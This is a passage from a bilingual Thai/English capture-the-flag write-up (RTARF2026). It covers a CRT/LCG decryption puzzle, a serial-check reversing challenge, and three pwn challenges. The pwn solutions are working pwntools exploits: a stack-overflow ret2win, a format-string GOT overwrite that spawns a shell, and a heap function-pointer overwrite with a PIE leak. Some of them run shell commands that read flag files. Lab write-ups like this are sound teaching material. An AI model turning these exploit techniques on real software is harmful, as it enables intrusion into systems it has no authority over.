ชั้นสองคือ stream cipher ง่าย ๆ ที่ใช้ Linear Congruential Generator (LCG) แบบ Numerical Recipes โดยเอา T (32 บิตล่าง) เป็น seed แล้ววนสูตร state = (1664525*state + 1013904223) mod 2^32 ในแต่ละรอบดึง keystream byte จากบิตกลาง (state >> 16) & 0xFF เอาไป XOR กับ ciphertext (ถอด base64 ก่อน) จุดสำคัญคือ keystream ผูกกับ T ตัวเดียว ดังนั้นถ้า CRT ได้ T ผิดแม้แต่นิดเดียว plaintext จะเป็นขยะทันที - เป็นการ self-check ในตัว

ชั้นสามแค่ “อ่าน” ข้อความที่ถอดได้ ซึ่งเป็น telemetry frame ของ Orion CM-003 มี callsign ของแคปซูลระบุไว้ตรง ๆ ว่า Integrity (ชื่อแคปซูล Artemis II) คำตอบคือ md5 ของคำนี้ตามตัวสะกด/ตัวพิมพ์ที่ปรากฏเป๊ะ ๆ

This is a 3-stage chained pipeline. Stage 1 is the classic “recover a timestamp from residues”: five ground stations each ping with a prime period m_i seconds and record phase_offset_i = T mod m_i, where T is the Unix timestamp of Orion’s beacon. Because every modulus is a distinct prime, they are pairwise coprime, so the Chinese Remainder Theorem (CRT) merges all five congruences into one solution modulo the product of the primes (~3.06e18, far larger than the Unix-timestamp range, so T is unique).

Stage 2 is a trivial stream cipher built on a Numerical-Recipes Linear Congruential Generator (LCG): seed the state with the lower 32 bits of T, iterate state = (1664525*state + 1013904223) mod 2^32, and take each keystream byte from the middle bits (state >> 16) & 0xFF, XORing it against the base64-decoded ciphertext. The keystream depends entirely on T, so if CRT were even one second off the plaintext would be garbage - it self-verifies.

Stage 3 is just reading the decrypted Orion CM-003 telemetry frame, which states the capsule callsign outright: Integrity (the Artemis II capsule name). The answer is the md5 of that exact word with the exact capitalisation shown.

Step 1 - inspect the input (5 stations + a base64 blob):

cat "/mnt/d/Workspace/CTF/RTARF2026/Programming/3/input.txt"
# 5
# GOLDSTONE 3251 1064
# MADRID 4127 1085
# CANBERRA 5101 1374
# WHITE_SANDS 6173 4672
# GUAM 7253 7033
# b8468Y1Y5pEVKzrvrterQHJjDV38QzLDtlbF87CAFVmk...   (474-byte ciphertext once decoded)

Step 2 - CRT for T, then LCG-XOR decrypt, then read the callsign:

# solved with Claude
import base64, hashlib, datetime
from sympy.ntheory.modular import crt

# Stage 1: CRT over the 5 prime periods -> Unix timestamp T
stations = [("GOLDSTONE",3251,1064),("MADRID",4127,1085),
            ("CANBERRA",5101,1374),("WHITE_SANDS",6173,4672),("GUAM",7253,7033)]
mods = [m for _,m,_ in stations]
res  = [r for _,_,r in stations]
T, M = crt(mods, res); T = int(T)
print("T =", T, "->", datetime.datetime.utcfromtimestamp(T))
# T = 1775853312 -> 2026-04-10 20:35:12   (M = 3064225457308928713)

# Stage 2: Numerical-Recipes LCG keystream XOR
ct = base64.b64decode(open("/mnt/d/Workspace/CTF/RTARF2026/Programming/3/input.txt")
                      .read().splitlines()[6])
state = T & 0xFFFFFFFF
pt = bytearray()
for b in ct:
    state = (1664525*state + 1013904223) & 0xFFFFFFFF
    pt.append(b ^ ((state >> 16) & 0xFF))
print(pt.decode())

The decrypted frame comes out as clean UTF-8, and note that the embedded timestamp_unix equals the CRT-recovered T - the decode verifies itself:

=== ORION CM-003 TELEMETRY FRAME ===
timestamp_unix=1775853312
mission=Artemis_II
crew=Wiseman,Glover,Koch,Hansen
--
MISSION_LOG:
  Day 5 post-TLI. Crew is performing nominal ops.
  Capsule callsign (chosen at the Sep-2025 naming ceremony): Integrity
  The name embodies 'trust, respect, candor, and humility'.
--
TASK:
  The capsule's chosen name is stated above (callsign).
  Submit ANSWER = md5(NAME) using the exact spelling & capitalisation shown.
=== END OF FRAME ===

Step 3 - md5 the callsign for the flag:

python3 -c "import hashlib; print(hashlib.md5(b'Integrity').hexdigest())"
# f3f97de67c80480904f958df15b8a57b
# => RTARF{f3f97de67c80480904f958df15b8a57b}

Pwn#

16) Atemis1 Ground Station Telemetry Parser - ret2win via unbounded read() size#

Flag: (remote - exploit below; live flag served by nc, not capturable offline) Difficulty / คะแนน: Easy (100) Files / Target: atemis1 (ELF x86-64, dynamically linked, not stripped) - and nc 10.69.50.3 4001

ไบนารีเป็น ground-station telemetry parser ตรวจ mitigation ด้วย pwntools checksec ได้: No canary, NX, Full RELRO, No PIE, ไม่ stripped - จุดสำคัญคือไม่มี stack canary และ No PIE ทำให้ที่อยู่ของฟังก์ชันคงที่ที่ฐาน 0x400000

ในตาราง symbol มีฟังก์ชันชื่อ emergency_override ที่ 0x401256 ซึ่งเป็น “win function” ชัดเจน มันเปิด flag.txt ด้วย fopen แล้ว fgets เข้ามาแล้ว printf("[+] OVERRIDE KEY: %s") ออกมา ดังนั้นเป้าหมายคือกระโดดไปที่ฟังก์ชันนี้

ช่องโหว่อยู่ใน parse_telemetry_packet (0x401303) เฟรมจอง sub rsp,0x60 บัฟเฟอร์เพย์โหลดอยู่ที่ rbp-0x40 (ห่างจาก saved return address = 0x40 + 8 = 72 ไบต์) ลำดับการทำงานคือ:

  1. read(0, rbp-0x50, 0xf) - อ่าน Mission ID สูงสุด 15 ไบต์ (ไม่ล้น)
  2. scanf("%u%*c", rbp-0x54) - อ่านจำนวนไบต์ payload จากผู้ใช้
  3. read(0, rbp-0x40, count) - อ่าน payload ด้วย ขนาดที่ผู้ใช้กำหนดเอง ลงบัฟเฟอร์ขนาดจริงแค่ 64 ไบต์

เพราะขนาดของ read มาจากค่าที่เรากรอกใน scanf ตรง ๆ (ไม่มีการเช็คขอบเขต) เราจึงส่งค่าเช่น 200 เพื่อเขียนทับ saved RBP และ return address ได้เลย แล้วเขียน return address เป็น 0x401256 แล้ว ret ก็กระโดดเข้า emergency_override พิมพ์ธงออกมา (“ทำไมมันหลุด”: ขนาด read ไม่ถูกจำกัดให้ ≤ 64)

The binary is a ground-station telemetry parser. checksec (via pwntools) reports No canary, NX, Full RELRO, No PIE, not stripped - the key facts are the missing stack canary and No PIE, which means function addresses are fixed at the 0x400000 base.

The symbol table contains an obvious win function, emergency_override at 0x401256. It fopens flag.txt, fgets the contents, and printf("[+] OVERRIDE KEY: %s") - so the whole challenge is to redirect execution there.

The bug lives in parse_telemetry_packet (0x401303). The frame reserves sub rsp,0x60; the payload buffer sits at rbp-0x40 (0x40 + 8 = 72 bytes below the saved return address). The flow is:

  1. read(0, rbp-0x50, 0xf) - Mission ID, 15 bytes (harmless)
  2. scanf("%u%*c", rbp-0x54) - reads a payload byte count from the user
  3. read(0, rbp-0x40, count) - reads the payload with a user-controlled size into a buffer that is really only 64 bytes

Because the read length is taken straight from our scanf integer with no bounds check, we send e.g. 200 bytes and overwrite the saved RBP and the return address. Setting the return address to 0x401256 makes the trailing ret jump into emergency_override, which prints the flag.

Step 1 - recon: mitigations, symbols, win function:

file atemis1
# ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
pwn checksec atemis1
#   Stack: No canary found | NX enabled | PIE: No PIE (0x400000) | Full RELRO
nm atemis1 | grep ' T '
#   0000000000401256 T emergency_override   <-- win
#   0000000000401303 T parse_telemetry_packet
strings atemis1 | grep -iE 'flag|OVERRIDE'
#   flag.txt
#   [+] OVERRIDE KEY: %s

Step 2 - locate the overflow (objdump):

objdump -d -M intel atemis1 | sed -n '/<parse_telemetry_packet>:/,/ret/p'
# sub    rsp,0x60
# lea    rax,[rbp-0x50]; mov edx,0xf ; call read       ; Mission ID (15 bytes)
# lea    rax,[rbp-0x54]; call __isoc23_scanf ("%u%*c")  ; payload count (%*c eats \n)
# mov    eax,[rbp-0x54]; mov edx,eax
# lea    rax,[rbp-0x40]; call read                      ; read(0, rbp-0x40, count)  <-- unbounded
# leave ; ret
# => buffer rbp-0x40, ret at rbp+8  ->  offset = 0x40 + 8 = 72

Step 3 - the ret2win exploit (pwntools), verified locally:

#!/usr/bin/env python3
# solved with Claude
from pwn import *
context.arch = 'amd64'
elf = ELF('./atemis1')
WIN = elf.symbols['emergency_override']   # 0x401256

io = remote('10.69.50.3', 4001) if args.REMOTE else process('./atemis1')

io.sendlineafter(b'> ', b'1')                                   # menu: Parse telemetry packet
io.sendafter(b'Enter Mission ID (max 15 chars): ', b'A'*15)     # read(rbp-0x50,0xf) harmless
io.sendlineafter(b'Enter payload byte count: ', b'200')         # scanf count -> big => overflow

payload  = b'B'*72          # fill buffer(0x40) + saved rbp(8)
payload += p64(WIN)         # overwrite return address -> emergency_override
io.send(payload)

print(io.recvall(timeout=3).decode(errors='replace'))

Local run against a planted flag.txt proves the primitive end-to-end:

$ echo 'RTARF{fake_local_test_flag_1234}' > flag.txt
$ python3 exploit.py
[*] Streaming 200 bytes of telemetry payload...
[+] Logged telemetry for mission: AAAAAAAAAAAAAAA
[+] Payload checksum: 0x00a7e457
[!] EMERGENCY OVERRIDE TRIGGERED
[*] Releasing mission-critical uplink credentials...
[+] OVERRIDE KEY: RTARF{fake_local_test_flag_1234}     # local test flag; real one is on the remote

รันจริงกับ nc 10.69.50.3 4001 (python3 exploit.py REMOTE) จะได้ธงจริงหลังบรรทัด [+] OVERRIDE KEY: แต่ตอนทำโจทย์ remote เข้าไม่ได้ จึงยืนยัน primitive ด้วย flag.txt ปลอมในเครื่อง ธงจริงเป็น remote-unverified

Running it against nc 10.69.50.3 4001 (python3 exploit.py REMOTE) yields the real flag right after [+] OVERRIDE KEY:. The remote was unreachable during solving, so the primitive is confirmed against a local dummy flag.txt; the real flag is remote-unverified.

# => RTARF{...}   (printed as the OVERRIDE KEY by emergency_override reading flag.txt on the remote)

Flag: (remote - exploit below; live flag served by nc, not capturable offline) Difficulty / คะแนน: Medium (200) Files / Target: atemis2 (ELF x86-64, not stripped, No PIE, No canary, NX, Partial RELRO) - and/or nc 10.69.50.3 4002

โจทย์เป็น “ATEMIS-NAZA Mission Control | Uplink Processor v2.1” มี 3 ฟังก์ชันหลัก: ลงทะเบียน operator, ส่ง uplink command, ดูสถานะ โดยทุกคำสั่งจะถูกเก็บลง audit-log แบบ ring buffer (audit_log ที่ 0x404200 ขนาด 16 ช่อง ช่องละ 0x84 ไบต์ ใช้ log_seq % 16 เป็น index) บรีฟบอกว่าจุดพลาดน่าจะอยู่ที่ ring buffer แต่พออ่านจริง ๆ ตัว index มันถูก mask ด้วย & 0xf และ snprintf ก็จำกัดขนาด 0x80 อยู่แล้ว ต้องส่งคำสั่ง 2^31 ครั้งถึงจะทำให้ index ติดลบ - ไม่ใช่ทางนี้

จุดที่รั่วจริงอยู่ใน audit_write: หลังจาก snprintf เขียนหัว log แล้ว มันเรียก printf(cmd) โดยเอา “คำสั่ง” ที่ผู้ใช้พิมพ์มาเป็น format string ตรง ๆ (ไม่มี "%s" คั่น) นี่คือ classic format-string bug ทำให้เราอ่าน/เขียนหน่วยความจำได้ตามใจ และเพราะไบนารีเป็น No-PIE + Partial RELRO ตาราง GOT จึงอยู่ที่ address คงที่และเขียนทับได้ ที่หวานคือมีฟังก์ชัน exec_gate (0x401296) ที่เรียก system("/bin/sh") อยู่แล้ว (ฟังก์ชัน uplink_status ยังปริ้นต์ address ของมันให้ดูด้วยซ้ำ) เราแค่เขียน printf@GOT ให้ชี้ไปที่ exec_gate แล้ว printf ครั้งถัดไป (ตอนพิมพ์เมนู "> ") ก็จะกลายเป็น shell ทันที - เลือก printf เพราะ exec_gate ใช้แค่ puts+system จึงไม่เกิด recursion

The service is “ATEMIS-NAZA Mission Control | Uplink Processor v2.1” with three actions: register an operator, submit an uplink command, and view status. Every command is stored in an audit-log ring buffer (audit_log at 0x404200, 16 slots of 0x84 bytes, indexed by log_seq % 16). The brief pointed at the ring buffer, but reversing it shows the index is masked with & 0xf and the snprintf is bounded to 0x80 - you’d need 2^31 submissions to drive the index negative. That’s a red herring.

The real bug is in audit_write: after snprintf builds the log header it calls printf(cmd) - the user’s raw command is used directly as the format string (no "%s"). That’s a classic format-string primitive giving arbitrary read/write. Because the binary is No-PIE with Partial RELRO, the GOT lives at fixed, writable addresses. Conveniently there’s already a win function exec_gate (0x401296) that runs system("/bin/sh") - uplink_status even prints its address. We overwrite printf@GOT with exec_gate; the very next printf (the menu’s "> " prompt) jumps into exec_gate and pops a shell. We target printf rather than puts/system because exec_gate internally uses puts+system, so hijacking those would recurse.

Recon - protections and the vulnerable calls:

$ file atemis2
# ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
$ pwn checksec atemis2
# No PIE (0x400000), No canary, NX enabled, Partial RELRO

# audit_write() disassembly - the money shot:
#   snprintf(entry, 0x80, "[SEQ-%04d][OP:%s] ", seq, op_name)   ; bounded, safe
#   printf("  [LOG] ")                                          ; constant
#   printf(cmd)          <-- rbp-0x20 = user command as FORMAT STRING (bug)
# exec_gate() @ 0x401296:  puts("[!] EXEC GATE OPENED ...");  system("/bin/sh")

Step 1 - find the format-string argument offset to our buffer:

# offset probe: submit "BBBBBBBB" + ".%p"*24
#   ...0x40155c.0x4242424242424242.0x252e70...
# 0x4242424242424242 ("BBBBBBBB") shows up as the 12th %p  => offset = 12

Step 2 - build the GOT overwrite and run it:

# solved with Claude
from pwn import *
context.clear(arch='amd64', os='linux')
e = ELF('./atemis2')
PRINTF_GOT = e.got['printf']         # 0x404028 (writable, Partial RELRO)
EXEC_GATE  = e.symbols['exec_gate']  # 0x401296 -> system("/bin/sh")

def conn():
    return remote('10.69.50.3', 4002) if args.REMOTE else process('./atemis2')
def menu(p, c):
    p.recvuntil(b'> '); p.sendline(str(c).encode())

p = conn()
# 1) register an operator so op_count != 0 (submit_command bails otherwise)
menu(p, 1); p.recvuntil(b'ID:'); p.sendline(b'NAZA')

# 2) audit logger does printf(cmd) -> our command is the 12th stack arg
payload = fmtstr_payload(12, {PRINTF_GOT: EXEC_GATE}, write_size='short')  # 48 bytes, no newline
menu(p, 2); p.recvuntil(b'string:'); p.sendline(payload)

# printf@GOT now == exec_gate; the next printf() (menu "> ") pops a shell
p.recvuntil(b'> ', timeout=2)
p.sendline(b'cat /flag* /home/*/flag* 2>/dev/null; id')
p.interactive()

Running it locally proves the primitive fires - the menu’s next prompt jumps straight into the gate and we land in a shell:

[Uplink Processor Menu]
  ...
  > 
[!] EXEC GATE OPENED - unauthorized uplink override
PWNED_1000            # echo PWNED_$(id -u) from our shell
bin  boot  dev  etc  home  ...   # ls / output - shell confirmed

รันในเครื่องได้ shell จริง (เห็นข้อความ “EXEC GATE OPENED” ตามด้วย id/ls) เครื่องทดสอบไม่มีไฟล์ธง ส่วนบน remote ให้รัน python3 exploit.py REMOTE แล้วในเชลล์พิมพ์ cat /flag* เพื่อดึงธง RTARF{...} - ธง remote ยังยืนยันไม่ได้เพราะ nc เข้าไม่ถึงตอนทำ

Locally this yields a genuine shell (the “EXEC GATE OPENED” banner then id/ls). The sandbox has no flag file; against the live target run python3 exploit.py REMOTE and cat /flag* in the shell to read RTARF{...}. The remote flag stays unverified because nc 10.69.50.3 4002 was unreachable during the solve.

# => RTARF{...}   (recovered via `cat /flag*` in the popped shell on the live service)

18) Atemis3 Secure Operator Console Daemon - heap handler-pointer overwrite (+PIE leak) into a built-in win#

Flag: (remote - exploit below; live flag served by nc, not capturable offline) Difficulty / คะแนน: Hard (400) Files / Target: atemis3 (ELF x86-64 PIE, Full RELRO, canary, NX, not stripped) - and/or nc 10.69.50.3 4003

โจทย์เป็น daemon จำลอง “Secure Channel Manager v3.7” ของ ATEMIS-NAZA มีเมนู 7 ข้อ: เปิด/ปิด channel, อัปเดต note, อ่าน channel, invoke handler, list channels, exit. แต่ละ channel คือ struct ที่ malloc(0x98) โดยมี layout ตามที่แกะจาก objdump ได้ดังนี้ - name[16] ที่ออฟเซ็ต 0x00, operator key/note ที่ 0x10, active (int) ที่ 0x48, seq ที่ 0x4c, note ก้อนที่สองที่ 0x50, และที่สำคัญที่สุดคือ ตัวชี้ฟังก์ชัน handler ที่ 0x90 ตอนเปิด channel มันตั้งค่า handler เป็น handle_ping เสมอ แล้ว invoke_handler จะเรียก channel->handler(channel, arg) ผ่าน call rcx

จุดที่ทำให้หลุดมี 2 อย่าง อย่างแรก (ตัวหลัก) อยู่ที่ update_note: มันขึ้นข้อความว่า “Enter note (max 72 bytes)” แล้ว read(0, chunk+0x50, 0x48) - คือรับ 72 ไบต์เข้าไปเริ่มที่ 0x50 แต่ช่อง note จริงกว้างแค่ 64 ไบต์ (0x50..0x8f) ก่อนจะชนตัวชี้ handler ที่ 0x90 พอดี ดังนั้น 8 ไบต์สุดท้ายของ note เขียนทับตัวชี้ handler ได้ตรง ๆ อย่างที่สอง (ไม่จำเป็นต้องใช้แต่มีอยู่) คือ close_channel ที่ free() แล้วไม่ล้าง pointer ในตาราง channels[] เป็น NULL จึงเกิด Use-After-Free เป็นตัวสำรอง

เนื่องจากไบนารีเป็น PIE เราต้องหา base ก่อน โชคดีที่ read_channel พิมพ์ [DUMP] Channel %d raw handler ptr: %p - รั่วค่า handler (ค่าเริ่มต้น = handle_ping = base+0x1329) ออกมาให้เลย (เมนู list channels ก็รั่ว handler=%p เหมือนกัน) ในไบนารีมีฟังก์ชัน “win” ชื่อ escalation_handler ที่ base+0x13cf ซึ่ง fopen("flag.txt") อ่านแล้วพิมพ์ [FLAG] %s และเรียก system("/bin/sh") ต่อ ดังนั้นแผนคือ: เปิด channel เพื่ออ่าน leak แล้วคำนวณ base จากนั้นเขียน note ทับ handler ให้ชี้ escalation_handler แล้ว invoke เพื่อรับ flag + shell

The target is a mock “Secure Channel Manager v3.7” daemon for ATEMIS-NAZA with a 7-item menu: open/close channel, update note, read channel, invoke handler, list channels, exit. Each channel is a malloc(0x98) struct whose layout, recovered from objdump, is: name[16] at 0x00, operator key/note at 0x10, active (int) at 0x48, seq at 0x4c, a second note buffer at 0x50, and critically a handler function pointer at 0x90. open_channel always initialises the handler to handle_ping, and invoke_handler later does channel->handler(channel, arg) via call rcx.

There are two bugs. The primary one is in update_note: it prints “Enter note (max 72 bytes)” then does read(0, chunk+0x50, 0x48) - 72 bytes starting at 0x50. But the real note field is only 64 bytes wide (0x50..0x8f) before it hits the handler pointer at 0x90, so the last 8 bytes of the “note” overwrite the handler pointer directly. The secondary bug (present but unnecessary) is close_channel, which free()s the chunk but never NULLs channels[], leaving a dangling pointer (UAF).

Because the binary is PIE we first need a base. Conveniently read_channel prints [DUMP] Channel %d raw handler ptr: %p, leaking the handler value (default = handle_ping = base+0x1329); the list-channels menu leaks handler=%p too. The binary also ships a “win” function escalation_handler at base+0x13cf that fopen("flag.txt"), prints [FLAG] %s, then system("/bin/sh"). So the plan is: open a channel to read the leak and compute base to overwrite the handler via the note overflow to point at escalation_handler to invoke it to get the flag and a shell.

Step 1 - reverse the struct + spot the bug (objdump):

objdump -d -M intel --no-show-raw-insn ./atemis3 | sed -n '/<update_note>:/,/<read_channel>:/p'
# update_note:  mov rax,[rbp-0x10]->chunk ; add rax,0x50 ; mov edx,0x48 ; call read
#   => read(0, chunk+0x50, 72)  but handler ptr lives at chunk+0x90  (0x90-0x50 = 0x40 = 64)
# escalation_handler @ 0x13cf : fopen("flag.txt","r") -> printf("[FLAG] %s") -> system("/bin/sh")
# read_channel prints:  "[DUMP] Channel %d raw handler ptr: %p"  <-- our PIE leak
# open_channel sets  QWORD[chunk+0x90] = handle_ping (0x1329)
python3 -c "print(hex(0x13cf-0x1329))"   # => 0xa6  (escalation_handler - handle_ping)

Step 2 - full exploit (PIE leak to overwrite handler to win):

# solved with Claude - ATEMIS-NAZA Secure Console v3.7 (Pwn 400)
from pwn import *
context.arch = 'amd64'
elf = ELF('./atemis3', checksec=False)
OFF_HANDLE_PING = 0x1329          # default channel->handler
OFF_ESCALATION  = 0x13cf          # win: reads flag.txt, prints [FLAG], system("/bin/sh")

io = remote('10.69.50.3', 4003) if args.REMOTE else process('./atemis3')
def after(x): io.sendlineafter(b'> ', x)

# Stage 1: open channel 0  (handler defaults to handle_ping)
after(b'1'); io.recvuntil(b'ID: ');  io.send(b'uplink0\n')
io.recvuntil(b'key: '); io.send(b'OPKEY123\n'); io.recvuntil(b'opened')

# Stage 2: leak PIE from the raw handler-ptr dump
after(b'4'); io.recvuntil(b'index: '); io.sendline(b'0')
io.recvuntil(b'raw handler ptr: ')
leak = int(io.recvline().strip(), 16)
pie  = leak - OFF_HANDLE_PING
escalation = pie + OFF_ESCALATION
assert pie & 0xfff == 0
log.success('PIE base=%#x  escalation_handler=%#x', pie, escalation)

# Stage 3: update_note overflows note (64 bytes) into handler ptr @ +0x90
after(b'3'); io.recvuntil(b'index: '); io.sendline(b'0')
io.recvuntil(b'bytes): ')
io.send(b'A'*0x40 + p64(escalation))          # exactly 72 bytes; last 8 = handler
io.recvuntil(b'Note updated')

# Stage 4: invoke -> escalation_handler() -> flag + shell
after(b'5'); io.recvuntil(b'index: '); io.sendline(b'0')
io.recvuntil(b'arg: '); io.send(b'pwn\n')
io.recvuntil(b'[FLAG]')
log.success('FLAG: %s', io.recvline().strip().decode())
io.sendline(b'cat flag.txt; id')             # emergency /bin/sh
io.interactive()

รันในเครื่อง (วาง flag.txt ปลอมไว้เพื่อพิสูจน์ chain ครบทุกขั้น) ได้ผลตามนี้ - leak ออกมา, คำนวณ base ตรงหน้า (ลงท้าย 000 page-aligned เป๊ะ), เขียน handler ทับสำเร็จ, escalation_handler พิมพ์ flag แล้วเด้ง /bin/sh ให้จริง:

Running locally (with a planted flag.txt to prove the whole chain end-to-end) gives the following - the leak comes out, the computed base is page-aligned (...000), the handler overwrite lands, and escalation_handler prints the flag then actually drops a /bin/sh:

python3 exploit.py
# [+] handle_ping leak : 0x600120e68329
# [+] PIE base         : 0x600120e67000
# [+] escalation_handler: 0x600120e683cf
# [+] FLAG line: RTARF{fake_local_flag_for_validation}   <-- planted local flag
#   [*] Spawning emergency shell...
# $ id  -> uid=1000(kali) ...      # real shell from system("/bin/sh")

โบนัส: จริง ๆ ไม่ต้องใช้ leak ก็ได้ เพราะ handle_ping (…1329) กับ escalation_handler (…13cf) อยู่ page เดียวกัน ต่างกันแค่ ไบต์ล่างสุด (0x29 เป็น 0xcf) ซึ่ง PIE ไม่ได้สุ่มบิตล่าง 12 บิต จึงทำ partial overwrite แค่ 1 ไบต์ ก็เปลี่ยน handler ได้แบบ deterministic:

Bonus: the leak isn’t even required - handle_ping (…1329) and escalation_handler (…13cf) sit on the same page and differ only in the least-significant byte (0x29 to 0xcf), and PIE never randomises the low 12 bits. So a 1-byte partial overwrite flips the handler deterministically with no leak at all:

# solved with Claude - no-leak variant (single-byte partial overwrite of handler LSB)
after(b'3'); io.recvuntil(b'index: '); io.sendline(b'0'); io.recvuntil(b'bytes): ')
io.send(b'A'*0x40 + b'\xcf')      # only touch handler byte0: 0x29 -> 0xcf == escalation_handler
after(b'5'); io.recvuntil(b'index: '); io.sendline(b'0'); io.recvuntil(b'arg: '); io.send(b'x\n')
io.recvuntil(b'[FLAG]'); print(io.recvline().strip())
# => PARTIAL-OVERWRITE FLAG: RTARF{fake_local_flag_for_validation}

สรุป: bug คือ note overflow 8 ไบต์ทับตัวชี้ handler (บวก UAF จาก close_channel ที่ไม่ล้าง pointer เป็นตัวสำรอง), leak PIE จาก read_channel, แล้วเด้งเข้า escalation_handler ที่มีอยู่แล้วในไบนารี ทั้งสองสคริปต์ทดสอบผ่านในเครื่องครบทุกขั้น เมื่อยิงไป nc 10.69.50.3 4003 จะได้ค่า flag จริงจากบรรทัด [FLAG] RTARF{...} (ออฟไลน์จับ flag จริงไม่ได้เพราะ remote ปิด)

In short: the bug is an 8-byte note overflow onto the handler pointer (with the close_channel UAF as a backup primitive), a PIE leak from read_channel, then a jump into the binary’s own escalation_handler. Both scripts pass locally through every stage; fired at nc 10.69.50.3 4003 the real flag arrives on the [FLAG] RTARF{...} line (the true flag can’t be captured offline because the remote is down).

=> RTARF{…} (served by escalation_handler over nc; remote unreachable offline)#


Reverse Engineering#

19) Implant License Check - reversible serial check keys the flag’s XOR stream#

Flag: RTARF{8cdabe0d9d773571283e835759035768} Difficulty / คะแนน: Medium (200) Files / Target: keygen (ELF x86-64, statically linked, stripped)

ไฟล์นี้เป็น ELF 64-bit statically-linked ที่ strip แล้ว รันแล้วขอ “Enter serial:” ถ้ากรอกผิดจะขึ้น “Invalid serial.” เฉย ๆ จะ patch jump ให้ผ่านเฉย ๆ ไม่ได้ เพราะ flag ถูก “เข้ารหัสด้วยตัว serial เอง” ต้องกู้ serial ที่ถูกต้องจริง ๆ ออกมาก่อน

หาตัว main ได้จาก entry0 ที่โหลด mov rdi, main = 0x401880 แล้ว disassemble ดู logic เจอสองส่วน: (1) ส่วนตรวจ serial และ (2) ส่วนถอดรหัส flag ที่ทำงานเฉพาะตอน serial ถูก

ส่วนตรวจ serial บังคับความยาว = 17 (cmp rax, 0x11) แล้ววนทีละไบต์ i=0..16 เทียบกับ target 17 ไบต์ที่ 0x485970. สูตรคือ ROL8((serial[i] + (13 + 7*i)) & 0xff, 3) ^ 0xA5 == target[i] โดย ROL8-by-3 มาจากลำดับ lea eax,[rdx*8] (เลื่อนซ้าย 3) shr edx,5 (เลื่อนขวา 5) แล้ว or กัน = หมุนซ้าย 3 บิตของค่า 8 บิต. ทุกขั้นตอนกลับด้านได้หมด จึงถอด serial ออกมาตรง ๆ

ส่วนถอด flag (ที่ 0x40197d) วน i=0..38 เอา enc[i] ที่ 0x485940 XOR กับ serial[i % 17] แล้ว XOR กับ (i*17) & 0xff แล้ว putchar. เพราะฉะนั้น serial ที่ถูกต้องคือกุญแจของ stream cipher นี้เอง - patch เฉย ๆ ได้ตัวอักษรมั่ว

The binary is a stripped, statically-linked x86-64 ELF. It prompts “Enter serial:” and just prints “Invalid serial.” on a wrong input. You cannot cheat by patching the branch, because the flag is XOR-encrypted with the serial itself - you must recover the real serial.

main is at 0x401880 (loaded by mov rdi, main in entry0). Disassembly shows two halves: a serial validator and a flag-decryption loop that only runs when the serial is correct.

The validator forces length 17 (cmp rax, 0x11), then for each byte i=0..16 compares against a 17-byte target at 0x485970. The transform is ROL8((serial[i] + (13 + 7*i)) & 0xff, 3) ^ 0xA5 == target[i]; the ROL-by-3 is the classic lea eax,[rdx*8] / shr edx,5 / or idiom. Every step is invertible, so the serial pops straight out.

The decryptor at 0x40197d iterates i=0..38 over enc at 0x485940, outputting enc[i] ^ serial[i % 17] ^ ((i*17) & 0xff). The correct serial is literally the key to this stream cipher.

Step 1 - recon & locate main:

file ./keygen
# ELF 64-bit LSB executable, x86-64, statically linked, stripped
printf 'AAAA\n' | ./keygen
# === RTARF Reversing: serial-check ===
# Enter serial: Invalid serial.

# entry0 -> mov rdi, main ; 0x401880
r2 -q -c 'e scr.color=0; s 0x401880; af; pdf' ./keygen

Key excerpt of the validator loop (length must be 17, target at 0x485970):

cmp    rax, 0x11            ; strlen == 17
mov    esi, 0xd             ; k = 13
lea    rdi, [0x485970]      ; target bytes
loop:
  movzx edx, byte [rbx+rcx] ; serial[i]
  add   edx, esi            ; + (13 + 7*i)
  lea   eax, [rdx*8]        ; <<3
  shr   edx, 5              ; >>5   => ROL8(x,3)
  or    eax, edx
  xor   al, 0xa5            ; ^ 0xA5
  cmp   byte [rdi+rcx], al
  add   esi, 7              ; k += 7

The flag decrypt loop (enc at 0x485940, 39 bytes, cmp rbx,0x27):

; out[i] = serial[i % 17] ^ enc[i] ^ ((i*17) & 0xff)
movzx edi, byte [rsp + i%17]  ; serial[i%17]
xor   dil, byte [r12 + rbx]   ; ^ enc[i]   (r12 = 0x485940)
mov   eax, ebx ; shl eax,4 ; add eax,ebx   ; i*17
xor   edi, eax                ; ^ (i*17 & 0xff)
call  putchar

Step 2 - invert the check to recover the serial, then decrypt:

# solved with Claude
import subprocess
def dump(vaddr, n):
    out = subprocess.run(['r2','-q','-c',f's {vaddr}; p8 {n}','./keygen'],
                         capture_output=True, text=True).stdout.strip()
    return bytes.fromhex(out)

target = dump(0x485970, 17)   # 5fe64706ded9f12e194e9990a37159e028
enc    = dump(0x485940, 39)   # 0011223344710d27bec9fc92a38be7a9...

ror8 = lambda v, r: ((v & 0xff) >> r | (v << (8 - r))) & 0xff

# invert: target = ROL8((s+13+7i)&0xff, 3) ^ 0xA5
serial = bytes(((ror8(target[i] ^ 0xa5, 3)) - (13 + 7*i)) & 0xff for i in range(17))
print(serial)                 # b'RTARF_S3R14L_2024'

flag = bytes(enc[i] ^ serial[i % 17] ^ ((i*17) & 0xff) for i in range(39))
print(flag.decode())          # RTARF{8cdabe0d9d773571283e835759035768}

Step 3 - confirm by running the binary with the recovered serial:

printf 'RTARF_S3R14L_2024\n' | ./keygen
# === RTARF Reversing: serial-check ===
# Enter serial: RTARF{8cdabe0d9d773571283e835759035768}
# Serial : RTARF_S3R14L_2024
# => RTARF{8cdabe0d9d773571283e835759035768}

20) Hardened Implant (vmcheck) - byte-coupled bytecode VM + ptrace anti-debug guarding an RC4 flag#

Flag: RTARF{0773c0839d2b353892142cbc8f526d5b} Difficulty / คะแนน: Hard (400) Files / Target: vmcheck (ELF x86-64, statically linked, stripped)

ไฟล์เป็น ELF 64-bit สแตติกและ strip ทิ้ง symbol หมด รันแล้วขึ้นแบนเนอร์ === RTARF Reversing: vm-check === แล้วถาม Enter the key: คีย์ผิดตอบ Access denied. ตัว strings ไม่มีคำว่า flag หรือข้อความ success โผล่มาเลย แปลว่า flag ถูกซ่อนแบบเข้ารหัสไว้ แล้วค่อยถอดตอนรันเมื่อคีย์ถูกเท่านั้น

